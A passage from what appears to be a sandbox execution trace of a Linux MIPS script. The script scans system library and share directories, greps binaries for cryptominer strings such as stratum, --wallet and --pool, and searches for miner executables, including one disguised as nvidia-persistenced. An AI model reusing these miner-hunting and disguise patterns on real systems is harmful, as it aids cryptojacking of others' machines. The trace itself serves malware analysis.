  head -c 4 /usr/lib/python3/dist-packages/scipy/spatial/ckdtree.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1529
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1533
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1532
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/spatial/ckdtree.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1531
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/spatial/qhull.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1535
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/spatial/qhull.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1537
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1539
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/spatial/qhull.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1538
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1542
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1541
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/spatial/qhull.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1540
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/special/_ufuncs.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1544
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/special/_ufuncs.cpython-35m-mips-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1546
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1548
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/special/_ufuncs.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1547
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1551
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1550
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/special/_ufuncs.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1549
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/special/specfun.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1553
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/special/specfun.cpython-35m-mips-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1555
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1557
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/special/specfun.cpython-35m-mips-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1556
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1560
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1559
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/special/specfun.cpython-35m-mips-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1558
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/special/tests/data/boost.npz
  2⤵
  PID:1562
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/special/tests/data/boost.npz
  2⤵
  PID:1564
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1566
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/special/tests/data/boost.npz
  2⤵
  PID:1565
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/setools/policyrep/_qpol.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1568
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/setools/policyrep/_qpol.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1570
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1572
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/setools/policyrep/_qpol.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1571
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1575
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1574
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/setools/policyrep/_qpol.cpython-35m-mips-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1573
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/numpy/core/umath.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1577
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/numpy/core/umath.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1579
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1581
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/numpy/core/umath.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1580
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1583
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1584
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/numpy/core/umath.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1582
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/numpy/core/multiarray.cpython-35m-mips-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1586
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/numpy/core/multiarray.cpython-35m-mips-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1588
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1590
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/numpy/core/multiarray.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1589
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1593
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1592
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/numpy/core/multiarray.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1591
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/numpy/random/mtrand.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1595
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/numpy/random/mtrand.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1597
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1599
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/numpy/random/mtrand.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1598
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1602
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1601
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/numpy/random/mtrand.cpython-35m-mips-linux-gnu.so
  2⤵
  PID:1600
- /usr/bin/stat
  stat "-c%s" /usr/lib/file/magic.mgc
  2⤵
  PID:1604
- /usr/bin/basename
  basename /usr/lib/file/magic.mgc
  2⤵
  PID:1606
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1608
- /usr/bin/head
  head -c 4 /usr/lib/file/magic.mgc
  2⤵
  PID:1607
- /usr/bin/stat
  stat "-c%s" /usr/lib/lapack/liblapack.so.3.7.0
  2⤵
  PID:1610
- /usr/bin/basename
  basename /usr/lib/lapack/liblapack.so.3.7.0
  2⤵
  PID:1612
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1614
- /usr/bin/head
  head -c 4 /usr/lib/lapack/liblapack.so.3.7.0
  2⤵
  PID:1613
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1617
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1616
- /usr/bin/strings
  strings /usr/lib/lapack/liblapack.so.3.7.0
  2⤵
  PID:1615
- /usr/bin/stat
  stat "-c%s" /usr/lib/locale/C.UTF-8/LC_COLLATE
  2⤵
  - Reads runtime system information
  PID:1619
- /usr/bin/basename
  basename /usr/lib/locale/C.UTF-8/LC_COLLATE
  2⤵
  PID:1621
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1623
- /usr/bin/head
  head -c 4 /usr/lib/locale/C.UTF-8/LC_COLLATE
  2⤵
  PID:1622
- /usr/bin/stat
  stat "-c%s" /usr/lib/locale/locale-archive
  2⤵
  PID:1625
- /usr/bin/basename
  basename /usr/lib/locale/locale-archive
  2⤵
  PID:1627
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1629
- /usr/bin/head
  head -c 4 /usr/lib/locale/locale-archive
  2⤵
  PID:1628
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/mips-linux-gnu/6/collect2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:1631
- /usr/bin/basename
  basename /usr/lib/gcc/mips-linux-gnu/6/collect2
  2⤵
  PID:1633
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1635
- /usr/bin/head
  head -c 4 /usr/lib/gcc/mips-linux-gnu/6/collect2
  2⤵
  PID:1634
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1638
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1637
- /usr/bin/strings
  strings /usr/lib/gcc/mips-linux-gnu/6/collect2
  2⤵
  PID:1636
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/mips-linux-gnu/6/lto-wrapper
  2⤵
  PID:1640
- /usr/bin/basename
  basename /usr/lib/gcc/mips-linux-gnu/6/lto-wrapper
  2⤵
  PID:1642
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1644
- /usr/bin/head
  head -c 4 /usr/lib/gcc/mips-linux-gnu/6/lto-wrapper
  2⤵
  - System Network Configuration Discovery
  PID:1643
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1646
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1647
- /usr/bin/strings
  strings /usr/lib/gcc/mips-linux-gnu/6/lto-wrapper
  2⤵
  PID:1645
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/mips-linux-gnu/6/cc1
  2⤵
  - Reads runtime system information
  PID:1649
- /usr/bin/basename
  basename /usr/lib/gcc/mips-linux-gnu/6/cc1
  2⤵
  - System Network Configuration Discovery
  PID:1651
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1653
- /usr/bin/head
  head -c 4 /usr/lib/gcc/mips-linux-gnu/6/cc1
  2⤵
  PID:1652
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1655
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1656
- /usr/bin/strings
  strings /usr/lib/gcc/mips-linux-gnu/6/cc1
  2⤵
  PID:1654
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/mips-linux-gnu/6/lto1
  2⤵
  - Reads runtime system information
  PID:1658
- /usr/bin/basename
  basename /usr/lib/gcc/mips-linux-gnu/6/lto1
  2⤵
  PID:1660
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1662
- /usr/bin/head
  head -c 4 /usr/lib/gcc/mips-linux-gnu/6/lto1
  2⤵
  PID:1661
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1665
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1664
- /usr/bin/strings
  strings /usr/lib/gcc/mips-linux-gnu/6/lto1
  2⤵
  PID:1663
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/mips-linux-gnu/6/libgcc.a
  2⤵
  PID:1667
- /usr/bin/basename
  basename /usr/lib/gcc/mips-linux-gnu/6/libgcc.a
  2⤵
  - System Network Configuration Discovery
  PID:1669
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1671
- /usr/bin/head
  head -c 4 /usr/lib/gcc/mips-linux-gnu/6/libgcc.a
  2⤵
  - System Network Configuration Discovery
  PID:1670
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/mips-linux-gnu/6/libstdc++fs.a
  2⤵
  PID:1673
- /usr/bin/basename
  basename /usr/lib/gcc/mips-linux-gnu/6/libstdc++fs.a
  2⤵
  - System Network Configuration Discovery
  PID:1675
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1677
- /usr/bin/head
  head -c 4 /usr/lib/gcc/mips-linux-gnu/6/libstdc++fs.a
  2⤵
  PID:1676
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/mips-linux-gnu/6/cc1plus
  2⤵
  - Reads runtime system information
  PID:1679
- /usr/bin/basename
  basename /usr/lib/gcc/mips-linux-gnu/6/cc1plus
  2⤵
  PID:1681
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1683
- /usr/bin/head
  head -c 4 /usr/lib/gcc/mips-linux-gnu/6/cc1plus
  2⤵
  PID:1682
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1686
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1685
- /usr/bin/strings
  strings /usr/lib/gcc/mips-linux-gnu/6/cc1plus
  2⤵
  PID:1684
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/mips-linux-gnu/6/libstdc++.a
  2⤵
  - Reads runtime system information
  PID:1688
- /usr/bin/basename
  basename /usr/lib/gcc/mips-linux-gnu/6/libstdc++.a
  2⤵
  PID:1690
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1692
- /usr/bin/head
  head -c 4 /usr/lib/gcc/mips-linux-gnu/6/libstdc++.a
  2⤵
  - System Network Configuration Discovery
  PID:1691
- /usr/bin/stat
  stat "-c%s" /usr/lib/openssh/ssh-keysign
  2⤵
  - Reads runtime system information
  PID:1694
- /usr/bin/basename
  basename /usr/lib/openssh/ssh-keysign
  2⤵
  PID:1696
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1698
- /usr/bin/head
  head -c 4 /usr/lib/openssh/ssh-keysign
  2⤵
  PID:1697
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1701
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1700
- /usr/bin/strings
  strings /usr/lib/openssh/ssh-keysign
  2⤵
  PID:1699
- /usr/bin/head
  head -1
  2⤵
  PID:1705
- /usr/bin/find
  find /usr/share -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:1704
- /usr/bin/head
  head -1
  2⤵
  PID:1708
- /usr/bin/find
  find /usr/share -type f -name glint -size +500k
  2⤵
  - Reads runtime system information
  PID:1707
- /usr/bin/head
  head -1
  2⤵
  PID:1711
- /usr/bin/find
  find /usr/share -type f -name miner2 -size +500k
  2⤵
  PID:1710
- /usr/bin/head
  head -1
  2⤵
  PID:1714
- /usr/bin/find
  find /usr/share -type f -name krig-miner -size +500k
  2⤵
  PID:1713
- /usr/bin/head
  head -1
  2⤵
  PID:1717
- /usr/bin/find
  find /usr/share -type f -name pearl -size +500k
  2⤵
  PID:1716
- /usr/bin/head
  head -1
  2⤵
  PID:1720
- /usr/bin/find
  find /usr/share -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:1719
- /usr/bin/head
  head -100
  2⤵
  PID:1723
- /usr/bin/find
  find /usr/share -type f -size +500k
  2⤵
  PID:1722
- /usr/bin/stat
  stat "-c%s" /usr/share/misc/pci.ids
  2⤵
  PID:1725
- /usr/bin/basename
  basename /usr/share/misc/pci.ids
  2⤵
  PID:1727
- /usr/bin/head
  head -c 4 /usr/share/misc/pci.ids
  2⤵
  PID:1728
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1729
- /usr/bin/stat
  stat "-c%s" /usr/share/dict/american-english
  2⤵
  PID:1731
- /usr/bin/basename
  basename /usr/share/dict/american-english
  2⤵
  PID:1733
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1735
- /usr/bin/head
  head -c 4 /usr/share/dict/american-english
  2⤵
  PID:1734
- /usr/bin/stat
  stat "-c%s" /usr/share/fonts-droid-fallback/truetype/DroidSansFallback.ttf
  2⤵
  PID:1737
- /usr/bin/basename
  basename /usr/share/fonts-droid-fallback/truetype/DroidSansFallback.ttf
  2⤵
  PID:1739
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1741
- /usr/bin/head
  head -c 4 /usr/share/fonts-droid-fallback/truetype/DroidSansFallback.ttf
  2⤵
  PID:1740
- /usr/bin/stat
  stat "-c%s" /usr/share/i18n/locales/translit_hangul
  2⤵
  - Reads runtime system information
  PID:1743
- /usr/bin/basename
  basename /usr/share/i18n/locales/translit_hangul
  2⤵
  PID:1745
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1747
- /usr/bin/head
  head -c 4 /usr/share/i18n/locales/translit_hangul
  2⤵
  PID:1746
- /usr/bin/stat
  stat "-c%s" /usr/share/i18n/locales/iso14651_t1_pinyin
  2⤵
  PID:1749
- /usr/bin/basename
  basename /usr/share/i18n/locales/iso14651_t1_pinyin
  2⤵
  PID:1751
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1753
- /usr/bin/head
  head -c 4 /usr/share/i18n/locales/iso14651_t1_pinyin
  2⤵
  PID:1752
- /usr/bin/stat
  stat "-c%s" /usr/share/i18n/charmaps/GB18030.gz
  2⤵
  PID:1755
- /usr/bin/basename
  basename /usr/share/i18n/charmaps/GB18030.gz
  2⤵
  PID:1757
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1759
- /usr/bin/head
  head -c 4 /usr/share/i18n/charmaps/GB18030.gz
  2⤵
  PID:1758
- /usr/bin/stat
  stat "-c%s" /usr/share/mime/packages/freedesktop.org.xml
  2⤵
  PID:1761
- /usr/bin/basename
  basename /usr/share/mime/packages/freedesktop.org.xml
  2⤵
  PID:1763
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1765
- /usr/bin/head
  head -c 4 /usr/share/mime/packages/freedesktop.org.xml
  2⤵
  PID:1764
- /usr/bin/stat
  stat "-c%s" /usr/share/perl/5.24.1/Locale/Codes/Language_Codes.pm
  2⤵
  - Reads runtime system information
  PID:1767
- /usr/bin/basename
  basename /usr/share/perl/5.24.1/Locale/Codes/Language_Codes.pm
  2⤵
  PID:1769
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1771
- /usr/bin/head
  head -c 4 /usr/share/perl/5.24.1/Locale/Codes/Language_Codes.pm
  2⤵
  PID:1770
- /usr/bin/stat
  stat "-c%s" /usr/share/perl/5.24.1/Unicode/Collate/allkeys.txt
  2⤵
  PID:1773
- /usr/bin/basename
  basename /usr/share/perl/5.24.1/Unicode/Collate/allkeys.txt
  2⤵
  PID:1775
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1777
- /usr/bin/head
  head -c 4 /usr/share/perl/5.24.1/Unicode/Collate/allkeys.txt
  2⤵
  PID:1776
- /usr/bin/stat
  stat "-c%s" /usr/share/perl/5.24.1/unicore/Name.pl
  2⤵
  - Reads runtime system information
  PID:1779
- /usr/bin/basename
  basename /usr/share/perl/5.24.1/unicore/Name.pl
  2⤵
  PID:1781
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1783
- /usr/bin/head
  head -c 4 /usr/share/perl/5.24.1/unicore/Name.pl
  2⤵
  PID:1782
- /usr/bin/stat
  stat "-c%s" /usr/share/perl/5.24.1/Module/CoreList.pm
  2⤵
  PID:1785
- /usr/bin/basename
  basename /usr/share/perl/5.24.1/Module/CoreList.pm
  2⤵
  PID:1787
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1789
- /usr/bin/head
  head -c 4 /usr/share/perl/5.24.1/Module/CoreList.pm
  2⤵
  PID:1788
- /usr/bin/stat
  stat "-c%s" /usr/share/fonts/truetype/droid/DroidSansFallbackFull.ttf
  2⤵
  PID:1791
- /usr/bin/basename
  basename /usr/share/fonts/truetype/droid/DroidSansFallbackFull.ttf
  2⤵
  PID:1793
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1795
- /usr/bin/head
  head -c 4 /usr/share/fonts/truetype/droid/DroidSansFallbackFull.ttf
  2⤵
  PID:1794
- /usr/bin/stat
  stat "-c%s" /usr/share/fonts/truetype/dejavu/DejaVuSans.ttf
  2⤵
  PID:1797
- /usr/bin/basename
  basename /usr/share/fonts/truetype/dejavu/DejaVuSans.ttf
  2⤵
  PID:1799
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1801
- /usr/bin/head
  head -c 4 /usr/share/fonts/truetype/dejavu/DejaVuSans.ttf
  2⤵
  PID:1800
- /usr/bin/stat
  stat "-c%s" /usr/share/fonts/truetype/dejavu/DejaVuSans-Bold.ttf
  2⤵
  PID:1803
- /usr/bin/basename
  basename /usr/share/fonts/truetype/dejavu/DejaVuSans-Bold.ttf
  2⤵
  PID:1805
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1807
- /usr/bin/head
  head -c 4 /usr/share/fonts/truetype/dejavu/DejaVuSans-Bold.ttf
  2⤵
  PID:1806
- /usr/bin/stat
  stat "-c%s" /usr/share/selinux/devel/policy.xml
  2⤵
  PID:1809
- /usr/bin/basename
  basename /usr/share/selinux/devel/policy.xml
  2⤵
  PID:1811
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1813
- /usr/bin/head
  head -c 4 /usr/share/selinux/devel/policy.xml
  2⤵
  PID:1812
- /usr/bin/stat
  stat "-c%s" /usr/share/selinux/devel/include/kernel.xml
  2⤵
  PID:1815
- /usr/bin/basename
  basename /usr/share/selinux/devel/include/kernel.xml
  2⤵
  PID:1817
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1819
- /usr/bin/head
  head -c 4 /usr/share/selinux/devel/include/kernel.xml
  2⤵
  PID:1818
- /usr/bin/stat
  stat "-c%s" /usr/share/selinux/devel/include/contrib.xml
  2⤵
  PID:1821
- /usr/bin/basename
  basename /usr/share/selinux/devel/include/contrib.xml
  2⤵
  PID:1823
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1825
- /usr/bin/head
  head -c 4 /usr/share/selinux/devel/include/contrib.xml
  2⤵
  PID:1824
- /usr/bin/stat
  stat "-c%s" /usr/share/selinux/devel/include/kernel/corenetwork.if
  2⤵
  - Reads runtime system information
  PID:1827
- /usr/bin/basename
  basename /usr/share/selinux/devel/include/kernel/corenetwork.if
  2⤵
  PID:1829
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1831
- /usr/bin/head
  head -c 4 /usr/share/selinux/devel/include/kernel/corenetwork.if
  2⤵
  PID:1830
- /usr/bin/stat
  stat "-c%s" /usr/share/libthai/thbrk.tri
  2⤵
  PID:1833
- /usr/bin/basename
  basename /usr/share/libthai/thbrk.tri
  2⤵
  PID:1835
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1837
- /usr/bin/head
  head -c 4 /usr/share/libthai/thbrk.tri
  2⤵
  PID:1836
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/dpkg/changelog.gz
  2⤵
  - Reads runtime system information
  PID:1839
- /usr/bin/basename
  basename /usr/share/doc/dpkg/changelog.gz
  2⤵
  PID:1841
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1843
- /usr/bin/head
  head -c 4 /usr/share/doc/dpkg/changelog.gz
  2⤵
  PID:1842
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/dpkg-dev/changelog.gz
  2⤵
  PID:1845
- /usr/bin/basename
  basename /usr/share/doc/dpkg-dev/changelog.gz
  2⤵
  PID:1847
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1849
- /usr/bin/head
  head -c 4 /usr/share/doc/dpkg-dev/changelog.gz
  2⤵
  PID:1848
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/linux-libc-dev/changelog.Debian.gz
  2⤵
  PID:1851
- /usr/bin/basename
  basename /usr/share/doc/linux-libc-dev/changelog.Debian.gz
  2⤵
  PID:1853
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1855
- /usr/bin/head
  head -c 4 /usr/share/doc/linux-libc-dev/changelog.Debian.gz
  2⤵
  PID:1854
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/linux-image-4.9.0-13-4kc-malta/changelog.Debian.gz
  2⤵
  PID:1857
- /usr/bin/basename
  basename /usr/share/doc/linux-image-4.9.0-13-4kc-malta/changelog.Debian.gz
  2⤵
  PID:1859
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1861
- /usr/bin/head
  head -c 4 /usr/share/doc/linux-image-4.9.0-13-4kc-malta/changelog.Debian.gz
  2⤵
  PID:1860
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/libglib2.0-data/changelog.gz
  2⤵
  - Reads runtime system information
  PID:1863
- /usr/bin/basename
  basename /usr/share/doc/libglib2.0-data/changelog.gz
  2⤵
  PID:1865
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1867
- /usr/bin/head
  head -c 4 /usr/share/doc/libglib2.0-data/changelog.gz
  2⤵
  PID:1866
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/linux-kbuild-4.9/changelog.Debian.gz
  2⤵
  PID:1869
- /usr/bin/basename
  basename /usr/share/doc/linux-kbuild-4.9/changelog.Debian.gz
  2⤵
  PID:1871
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1873
- /usr/bin/head
  head -c 4 /usr/share/doc/linux-kbuild-4.9/changelog.Debian.gz
  2⤵
  PID:1872
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/linux-headers-4.9.0-13-common/changelog.Debian.gz
  2⤵
  - Reads runtime system information
  PID:1875
- /usr/bin/basename
  basename /usr/share/doc/linux-headers-4.9.0-13-common/changelog.Debian.gz
  2⤵
  PID:1877
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1879
- /usr/bin/head
  head -c 4 /usr/share/doc/linux-headers-4.9.0-13-common/changelog.Debian.gz
  2⤵
  PID:1878
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/libdpkg-perl/changelog.gz
  2⤵
  PID:1881
- /usr/bin/basename
  basename /usr/share/doc/libdpkg-perl/changelog.gz
  2⤵
  PID:1883
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1885
- /usr/bin/head
  head -c 4 /usr/share/doc/libdpkg-perl/changelog.gz
  2⤵
  PID:1884
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/libglib2.0-0/changelog.gz
  2⤵
  PID:1887
- /usr/bin/basename
  basename /usr/share/doc/libglib2.0-0/changelog.gz
  2⤵
  PID:1889
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1891
- /usr/bin/head
  head -c 4 /usr/share/doc/libglib2.0-0/changelog.gz
  2⤵
  PID:1890
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/nodejs/api/all.html
  2⤵
  - Reads runtime system information
  PID:1893
- /usr/bin/basename
  basename /usr/share/doc/nodejs/api/all.html
  2⤵
  PID:1895
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1897
- /usr/bin/head
  head -c 4 /usr/share/doc/nodejs/api/all.html
  2⤵
  PID:1896
- /usr/bin/stat
  stat "-c%s" /usr/share/locale/uk/LC_MESSAGES/util-linux.mo
  2⤵
  PID:1899
- /usr/bin/basename
  basename /usr/share/locale/uk/LC_MESSAGES/util-linux.mo
  2⤵
  PID:1901
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1903
- /usr/bin/head
  head -c 4 /usr/share/locale/uk/LC_MESSAGES/util-linux.mo
  2⤵
  PID:1902
- /usr/bin/stat
  stat "-c%s" /usr/share/locale/uk/LC_MESSAGES/gas.mo
  2⤵
  - Reads runtime system information
  PID:1905
- /usr/bin/basename
  basename /usr/share/locale/uk/LC_MESSAGES/gas.mo
  2⤵
  PID:1907
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1909
- /usr/bin/head
  head -c 4 /usr/share/locale/uk/LC_MESSAGES/gas.mo
  2⤵
  PID:1908
- /usr/bin/stat
  stat "-c%s" /usr/share/X11/locale/en_US.UTF-8/Compose
  2⤵
  PID:1911
- /usr/bin/basename
  basename /usr/share/X11/locale/en_US.UTF-8/Compose
  2⤵
  PID:1913
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1915
- /usr/bin/head
  head -c 4 /usr/share/X11/locale/en_US.UTF-8/Compose
  2⤵
  PID:1914
- /usr/bin/head
  head -1
  2⤵
  PID:1919
- /usr/bin/find
  find /var/lib -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:1918
- /usr/bin/head
  head -1
  2⤵
  PID:1922
- /usr/bin/find
  find /var/lib -type f -name glint -size +500k
  2⤵
  PID:1921
- /usr/bin/head
  head -1
  2⤵
  PID:1925
- /usr/bin/find
  find /var/lib -type f -name miner2 -size +500k
  2⤵
  PID:1924
- /usr/bin/head
  head -1
  2⤵
  PID:1928
- /usr/bin/find
  find /var/lib -type f -name krig-miner -size +500k
  2⤵
  - Reads runtime system information
  PID:1927
- /usr/bin/head
  head -1
  2⤵
  PID:1931
- /usr/bin/find
  find /var/lib -type f -name pearl -size +500k
  2⤵
  PID:1930
- /usr/bin/head
  head -1
  2⤵
  PID:1934
- /usr/bin/find
  find /var/lib -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:1933
- /usr/bin/head
  head -100
  2⤵
  PID:1937
- /usr/bin/find
  find /var/lib -type f -size +500k
  2⤵
  PID:1936
- /usr/bin/stat
  stat "-c%s" /var/lib/dpkg/info/linux-headers-4.9.0-13-common.list
  2⤵
  PID:1939
- /usr/bin/basename
